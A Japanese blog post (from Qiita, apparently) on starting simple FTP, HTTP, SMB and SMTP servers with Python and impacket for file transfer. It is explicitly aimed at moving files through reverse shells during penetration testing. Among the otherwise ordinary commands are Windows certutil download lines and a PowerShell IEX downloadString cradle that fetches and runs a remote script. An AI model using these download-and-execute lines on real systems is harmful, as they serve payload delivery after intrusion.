4
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

pythonで簡易サーバを立てて簡単にファイル転送

Last updated at Posted at 2022-05-09

FTP、HTTP、SMBサーバを簡単に立ち上げる。さらにそれを使って簡単にファイル転送する。

リバースシェル間でのファイル転送にすごく便利。

特に良い点が、-dオプションを使ってどこからでも任意のディレクトリをシェアフォルダにできるということ。

FTPサーバー

pip install pyftpdlibでインストール。

カレントディレクトリをシェアフォルダとして、21番ポートで、anonymousアクセスに書き込み権限を与えるならば

python3 -m pyftpdlib -w -p 21

(ポートを指定しない場合のデフォルトポートは2121)

/opt/PEASS-ngをシェアフォルダにしたい場合、わざわざそこに移動しなくてもカレントディレクトリ上で次のように-dオプションを使えばよい

python3 -m pyftpdlib -w -p 21 -d /opt/PEASS-ng

FTPとファイル転送

まずftpサーバに接続:

ftp <ftpサーバのIPアドレス>

その後ftpコマンドを用いる(anonymousアクセスなのでパスワードを求められてもエンターキーを推してスキップ)

ftpでのファイル転送に際し、txtファイルじゃないexeとかスクリプトとかを転送する場合はまずはじめにftpのプロンプト上で

bin

と打ち込んでエンターを押す。

ファイルダウンロード:

get <ファイル名>

ファイルアップロード:

put <ファイル名>

HTTPサーバ

python3 -m http.server

デフォルトポートは8080。

ポート80でカレントディレクト上にHTTpサーバを立ち上げるには

sudo python3 -m http.server 80

(大切だからくどめに、)-dオプションで任意のディレクトリをシェアフォルダをとして指定できる(例:python3 -m http.server -d /opt/somedir)。

HTTPサーバとファイル転送

wget http://<HTTPサーバのIP>:<ポート番号>/<ファイル名> -O <お好みのファイル名>

curl http://<HTTPサーバのIP>:<ポート番号>/<ファイル名> -o <お好みのファイル名>

Windowsなら

C:\> certutil -URLcache -f http://<HTTPサーバのIP>/file file

PS C:\> powershell -c "Invoke-Webrequest -OutFile <お好みのファイル名> -Uri http://<HTTPサーバのIP>/<ファイル名>"

PS C:\> IEX(New-Object Net.WebClient).downloadString('http://<HTTPサーバのIP>:<ポート番号>/<ファイル名>')

SMBサーバ

impacketのsmbserver.py

今のKali Linuxならデフォルトで入っていて、impacket-smbserverで起動する。ポイントは"impacket"の文字を頭につけること。

impacket-smbserver.py <share name> <share folder> -smb2support

<share name>は任意の名前、<share folder>でシェアフォルダにしたいディレクトリを指定する。

SMBサーバとファイル転送

これはWindows上でのファイル転送ですごく使える。

SMBサーバ側からローカルにファイルをダウンロード:

copy \\<SMBサーバのIP>\<share name>\<ファイル名> <お好みのファイル名>

こちらのファイルSMBサーバ側へアップロード:

copy <アップロードするファイル名> \\<SMBサーバのIP\<share name>\

(おまけ)SMTPサーバ

sudo python3 -m smtpd <自身のIP>:25

sudo python3 -m smtpd -n -c DebuggingServer <自身のIP>:25

参考:

ファイル転送ならncコマンド

ちなみにLinuxにおけるファイル転送だけなら、ncコマンドで可能。

ファイルを渡す人(file.txtを渡す):

nc -l 1234 < file.txt

ファイルをもらう人:

nc <相手のIP> 1234 > file.txt

相手のIPの次は、相手がリッスンしているポート番号(ここでは1234)を指定。

4
5
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?